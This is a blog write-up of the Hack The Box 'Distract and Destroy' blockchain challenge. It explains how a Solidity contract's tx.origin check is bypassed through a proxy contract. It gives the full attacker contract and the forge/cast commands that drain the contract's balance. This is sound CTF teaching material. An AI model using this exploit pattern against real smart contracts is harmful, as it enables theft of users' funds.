Jason Turley's Website

HackTheBox: Distract and Destroy

Distract and Destroy

This is my writeup for the Distract and Destroy blockchain challenge from Hack The Box.

Difficulty: Very easy

After defeating her first monster, Alex stood frozen, staring up at another massive, hulking creature that loomed over her. She knew that this was a fight she couldn’t win on her own. She turned to her guildmates, trying to come up with a plan. “We need to distract it,” Alex said. “If we can get it off balance, we might be able to take it down.” Her guildmates nodded, their eyes narrowed in determination. They quickly came up with a plan to lure the monster away from their position, using a combination of noise and movement to distract it. As they put their plan into action, Alex drew her sword and waited for her chance.


Initial Analysis

In this level, we are given a smart contract called Creature.sol:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Creature {
    uint256 public lifePoints;
    address public aggro;

    constructor() payable {
        lifePoints = 1000;
    }

    function attack(uint256 _damage) external {
        if (aggro == address(0)) {
            aggro = msg.sender;
        }

        if (_isOffBalance() && aggro != msg.sender) {
            lifePoints -= _damage;
        } else {
            lifePoints -= 0;
        }
    }

    function loot() external {
        require(lifePoints == 0, "Creature is still alive!");
        payable(msg.sender).transfer(address(this).balance);
    }

    function _isOffBalance() private view returns (bool) {
        return tx.origin != msg.sender;
    }
}

Our goal is to drain the contract’s balance. To do this, we must reduce the creature’s life points to zero and then call the loot function.

But how do we reduce the life points? The attack function allows us to damage the creature, but there are a couple of checks to pass first:

  1. Aggro Assignment:
    If aggro is the zero address (the default), it is set to msg.sender on the first attack.

  2. Off-Balance Check:
    The _isOffBalance function checks if tx.origin != msg.sender. This means we need to call attack from a contract (not directly from an EOA) to pass this check.

The Exploit

  1. First Attack (from EOA):
    Call attack directly from our externally owned account (EOA) to set aggro to our address.

  2. Second Attack (via Proxy Contract):
    Call attack from a proxy contract. This will pass the _isOffBalance check, allowing us to reduce the creature’s life points.

Step-by-Step

# Check that aggro is zero by default
cast call $TARGET_ADDRESS "aggro()" --rpc-url $RPC_URL
0x0000000000000000000000000000000000000000000000000000000000000000

# Update the aggro value
cast send $TARGET_ADDRESS "attack(uint256)" 1000 --rpc-url $RPC_URL --private-key $PRIVATE_KEY

# Confirm aggro has been updated to our EOA address
cast call $TARGET_ADDRESS "aggro()" --rpc-url $RPC_URL
0x0000000000000000000000006c218a4d306f2790b5ea672677506124251558c5

Create our attacker contract:


//SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import {Creature} from "src/Creature.sol";

contract Attacker {

    Creature public creature;

    constructor (Creature _creature) {
        creature = _creature;
    } 

    function exploit() public {
        uint256 damage = 1000;

        creature.attack(damage);

        creature.loot();
    }

    /// Fallback and receive methods to accept ether
    fallback() external payable {}

    receive() external payable {}
}

Deploy it so we can interact with it:

forge create Attacker.sol:Attacker --broadcast -r $RPC_URL --private-key $PRIVATE_KEY --constructor-args $TARGET_ADDRESS --verify

Deployer: 0x6c218A4d306f2790b5EA672677506124251558c5
Deployed to: 0x41E47A66E7Cb2Ec75bF87e453601bb5478f44cB7
Transaction hash: 0x570a2260e7e02309a58204bb2e91cc1780f683453725237f5ad56fce11d4ae93

Do the attack:

# Attack!
cast send 0x41E47A66E7Cb2Ec75bF87e453601bb5478f44cB7 "exploit()" --rpc-url $RPC_URL --private-key $PRIVATE_KEY 

# Confirm life points have been reduced to zero
cast call $TARGET_ADDRESS "lifePoints()" -r $RPC_URL
0x0000000000000000000000000000000000000000000000000000000000000000

By following these steps, we successfully drain the contract’s balance and complete the challenge.

#writeup #blockchain